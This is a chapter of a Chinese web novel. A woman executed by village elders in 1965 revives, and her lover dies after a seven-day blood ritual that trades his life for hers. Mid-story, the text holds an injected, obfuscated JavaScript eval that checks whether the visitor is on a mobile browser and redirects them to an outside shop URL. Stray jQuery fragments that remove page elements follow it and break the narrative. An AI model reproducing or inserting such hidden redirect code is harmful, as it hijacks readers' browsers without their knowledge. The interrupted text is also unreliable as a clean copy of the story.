后来，我被枪声惊醒。


    不，不是惊醒。我根本没有睡着，也永远不会再睡着了。那声枪响一直在我耳边回荡，从1965年那个阴冷的清晨，回荡到此刻，回荡到永无止境的每一天。


    子弹从眉心射入，从后脑穿出。


    我记得那一刻的感觉，不是疼，是一种极其古怪的撕裂感，好像有什么东西从身体里被硬生生扯出去了。然后是黑暗，浓稠的、绝对的黑暗，像被全身浸在墨汁里。


    但黑暗没有持续。


    不知道过了多久，可能是一瞬，也可能是永恒，我睁开了眼睛。


    我躺在防空洞里，身下是干硬的泥地。我慢慢坐起身，眉心和后脑有明显的钝痛感，我伸手去摸，指尖触到两个包扎好的棉布，可被击中的感觉仍然清晰可见。


    我低头看身上，仍是被枪毙时穿着的褂子，是张泰德去年从镇上给我带的。


    我应该死了。


    所有人都看着我死了。


    我记得他们的脸，保守派的族老们回来了，是1965年开春的时候，坐着镇上的吉普车回来的。他们说，之前的审查是“误会”，是“有人蓄意陷害”。他们带回了新的文件，盖着新的红章。顶着破除封建迷信的幌子，带来了大帮支持他们的人。


    然后，一夜之间，天翻地覆。


    那些曾经立场不太坚定，站出来说话的村人，一个个开始病了，伤了，或者主动承认了错误。


    而我，成了煽动群众、破坏生产、搞封建迷信的人。


    批判大会，他们让我跪在台上，树干上挂着沉重的横幅，上面用红漆写着我的罪名，每一个字都像烧红的烙铁。他们让我交代同伙，让我承认罪行。我不说话，我就看着台下。看着眼噙热泪的朱阿绣和其他的姑娘们，却只能轻轻摇头，让她们别动。


    张泰德也不在。


    那段时间，镇上有紧急任务抽调骨干，他去了邻县交流学习，要两个月。我给他写过一封信，只有一行字：“村里有变，勿归。”


    我不知道他收到没有，也希望他没有。


    大会的最后一天，大族老杵着拐杖走上台。他老了，背更驼了，但那双眼睛里的东西一点没变，甚至更浑浊，更沉。他俯下身，用只有我能听见的声音说：“白濯心，你斗不过的。这村子几百年的规矩，不是你一个外来女子能掀翻的。”


    然后他直起身，对着台下黑压压的人群，用洪亮的声音宣布：“经上级批准，对白濯心，执行枪决，立即执行！”


    我被反绑着手，拖下台，拖过村道。路两边的脸，一张张，麻木的，躲闪的，兴奋的，恐惧的。我看到有人别过头，有人捂住了孩子的眼睛，也有人，眼里有泪，但死死咬着嘴唇，一声不敢出。


    我被按着跪在地上。


    执行的是一个平时见面会憨厚地点头打招呼的中年汉子。他的手在抖，枪口也在抖。


    “预备！”有人喊。


    我闭上眼，最后想到的，是张泰德的脸。是他与我在一起的点点滴滴。


    他坦诚的那次后，时间给了我答案。他的好，不是轰轰烈烈的誓言，是日复一日的细节。是我熬夜整理材料时，默默放在桌边的那杯温水；是我被傀娘的流言困扰时，他站出来，用最平静也最不容置疑的语气说“我相信白濯心”；是他看我时，永远认真倾听的眼神；是他记得我所有微小的喜好，却从不以此为挟。


    我的心，像被春日溪水慢慢浸润的冻土，不知不觉，就松软了，发芽了。


    我们没说什么“在一起”，但村里人都知道了。我们一起去镇上开会，一起在油灯下核对账目，一起走在田埂上商量怎么推广新稻种。他看我的眼神，我看他的眼神，藏不住。


    1965年春节，他留在了村里。除夕夜，我们和朱阿绣几家走得近的一起吃了年夜饭。放鞭炮的时候，他偷偷塞给我一个纸包。我打开，是一枚银质的戒指。


    “里面刻了两个字。”他有点不好意思，“希望……希望以后每年，我都能陪你过。”


    我握紧了那枚戒指，冰凉的银质外壳，很快被我的掌心捂热。


    “好。”我说。


    那是我一生中，过得最暖的一个年。虽然外面风声已经开始紧了，虽然已经隐约听到一些不好的传闻，但那个夜晚，我是真的以为，春天就要来了，好日子就要开始了。


    然后，就是春天，保守派们坐着吉普车，回来了。


    ……


    枪响了。


    我的思绪戛然而止。


    子弹带来的冲击力把我向前掼倒，脸重重砸在冰冷的地面上。温热的液体从后脑涌出，身下的泥土迅速被濡湿、浸透。


    黑暗吞没一切。


    可我又醒了。


    我撑着地面，摇摇晃晃地站起来。防空洞内空无一人，远处传来几声零落的鸡鸣。


    我低头，看着周遭的一切。


    没有痛感，一点都没有。只有一种空洞的、冰冷的麻木，从那个包扎好的伤口里，蔓延到四肢百骸。


    我踉跄着，开始往外走。


    庙很小，村里除了我，早就断了香火，神像斑驳脱落，露出里面干裂的泥胎。


    此刻，庙里有光。


    昏暗的、跳动的油灯光，从破败的木板缝隙里漏出来。


    我搬开木板，看见张泰德跪在神像前。


    他背挺得笔直，油灯放在他身侧的地上，火苗被钻进来的风吹得忽明忽灭，在他脸上投下晃动不安的阴影。


    他面前的地上，用某种暗红色的液体，画着一个极其复杂的图案。那图案上是道符文，线条扭曲盘绕，透着一股说不出的邪异。


    他双手合十，闭着眼，嘴唇快速翕动，念着我完全听不懂的音节。那不是普通话，也不是本地土话，那声音低沉、沙哑、急促，像从喉咙深处挤出来的古老咒语。


    他的额头紧紧抵在冰冷肮脏的地面上，身体因为某种极致的用力而微微颤抖。


    “泰德？”我轻声喊他。


    他浑身一震，猛地抬起头，看向神像。


    油灯的光照在他脸上，那张总是干净温和、带着少年气的脸，此刻惨白如纸，眼下是浓重的青黑，嘴唇干裂出血口子。他看我的眼神，先是突兀又无法承受的惊骇，随即涌上狂喜。


    “濯心……”他张了张嘴，声音嘶哑得几乎听不见。


    他想站起来，可腿似乎麻了，或者说，他所有的力气都在刚才那不知持续了多久的跪拜和诵念中耗尽了。他晃了一下，用手撑住地，才没倒下去。


    “你……你怎么在这里？”我走进庙里，地上的灰尘被我踩出浅浅的脚印，“你不是在邻县吗？你什么时候回来的？你怎么知道我……”


    我的声音停住了。


    因为我看见，在他面前那个诡异图案的边缘，还摆着一样东西：一碗盛满腥味的血水，血里泡着折好的纸人。


    而神像脚下，散落着好些空了的碗，空气中弥漫着一股浓烈的、混合了香灰和某种腥甜铁锈的气味。


    “我收到了你的信。”他开口，每个字都说得极其艰难，仿佛用尽了全力，“我连夜往回赶，路上车坏了，我走了两天山路……我回来的时候，已经……晚了。”


    他抬起头，将目光转向我。清明的眼神里，尽是疲惫。


    “你……你在这里待多久了？”我注意到了地上的痕迹，还有他乏力的状态，一切都让我思绪变得沉重，胡乱的猜测在心中不断深想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299587|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “第七天。”他缓缓吐了口气，“今天是我在这里跪的第七天。”


    第七天。


    我们这里的老话说，人死后第七天，魂魄会回来看看，了却牵挂，然后才真正离去，叫做“回煞”。


    “我到处找你……他们不告诉我你在哪儿。”他眼睛通红，却没有泪，那里面是一种干涸的、濒临崩溃的疯狂，“后来，是朱阿绣，被迫无奈告诉我……她说你被……被……”


    他说不下去了，喉咙里发出困兽般的嗬嗬声。


    “她说你让她们不要有任何的动作……还说，你嘱咐她别让其他的姑娘犯傻，让她们一定要好好活着，不要做傻事……你说你这条命，能换她们所有人平安，值了。”他喘着气，目光落在那诡异的图案上，“我实在没办法了，想起了你曾经同我说过的神像，说过你的那些梦……那些我误以为荒谬，不切实际的幻想。没想到，我也做了同样的梦，听了神仙的话才找到了这里。”


    “在梦里神仙说……有一种禁术，源自很久以前傀仙娶亲的祭祀秘法，能以命换命，以魂续魂。但需要至诚之心，需要献祭者最珍贵的东西，需要……在回煞前七日，每日于神灵前立下血契。”


    他抬起手，他的左手手腕上，缠着一圈脏污的布条，布条已经被深色的血浸透了。


    “她说，成功的可能，不到万一。而且，就算成了……”他终于看向我，眼神里是溺死之人抓住浮木般的绝望和温柔，“就算成了，活过来的，也可能不是原来的那个人了。可能会变成……别的什么东西。不老，不死，不伤，不灭，永远困在死去的那一天，再也走不出去。”


    “我用我所有的东西，换了这个法子。”他扯了扯嘴角，想笑，却比哭还难看，“我没什么珍贵的……只有这条命，还有……对你的一颗心。她说够了，她说，心越诚，成功的可能就越大。”


    “所以你就……”我的声音在发抖，我看着地上那些诡异的东西，看着他那憔悴得不成人形的脸，看着那手腕上渗血的布条，“你就用了？在这庙里？用你的命，换我……换我这样活过来？”


    “是。”他回答得没有一丝犹豫，甚至有种近乎残忍的平静，“我用我的阳寿，我的轮回，我的一切，跟这不知道还存不存在的神仙做交换。我求她，让你活过来。无论变成什么样，无论要付出什么代价，我只要你活着。”


    “你疯了！”我终于吼了出来，眼泪毫无预兆地滚落，“张泰德你疯了！我已经死了！我死了！你为什么要这么做！你该好好活着！你才二十几岁！你还有大好的前途！你……”


    “没有你，什么前途都没有意义。”他打断我，声音很轻，“濯心，你还不明白吗？从我喜欢上你那天起，我的前途，我的命，就都和你系在一起了。你死了，我每日活在这的盼头就没了大半。有法子能来换你一线生机，我有什么理由不去做。”


    他慢慢抬起手，似乎想替我擦眼泪，但手伸到一半，又无力地垂了下去。他的脸色越来越白，白得近乎透明，连嘴唇都失去了最后一点血色。


    “别哭……”他轻声说，眼神开始涣散，但依然努力聚焦在我脸上，“你活过来了……真好……真好……”


    “泰德？张泰德！”我扑过去，想扶住他。


    他抬起自己的手，抓住了我的手指。那双手，年轻，骨节分明，带着这个年龄特有的触感。


    他还没来得及回应，眼睛就缓缓闭上了。头歪向一边，靠在我身上，像是睡着了。


    油灯的火苗，猛地跳动了一下，然后，“噗”地一声，灭了。


    庙里陷入一片黑暗。


    我跪在他面前，伸出手，徒劳地想要抓住什么，却只能抓住毫无动静的他。